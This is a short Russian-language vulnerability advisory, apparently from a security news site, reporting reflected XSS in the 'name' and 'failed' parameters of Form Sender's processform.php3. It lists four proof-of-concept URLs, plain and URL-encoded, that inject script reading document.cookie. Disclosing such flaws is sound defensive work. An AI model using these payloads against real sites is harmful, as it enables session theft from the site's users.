Программа: Form Sender 

Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.
Уязвимость существует из-за недостаточной обработки входных данных в параметрах 'name' и 'failed' сценария 'processform.php3'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. 

Примеры:

http://[target]/[path]/processform.php3?name= < script>alert(document.coo
kie)</script>

http://[target]/[path]/processform.php3?name= %3Cscript%3Ealert%28document.cookie%29
%3C%2Fscript%3E

http://[target]/[path]/processform.php3?failed= < script> alert(document.cookie)</script>

http://[target]/[path]/processform.php3?failed= %3Cscript%3Ealert%28document.cookie%29
%3C%2Fscript%3E

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии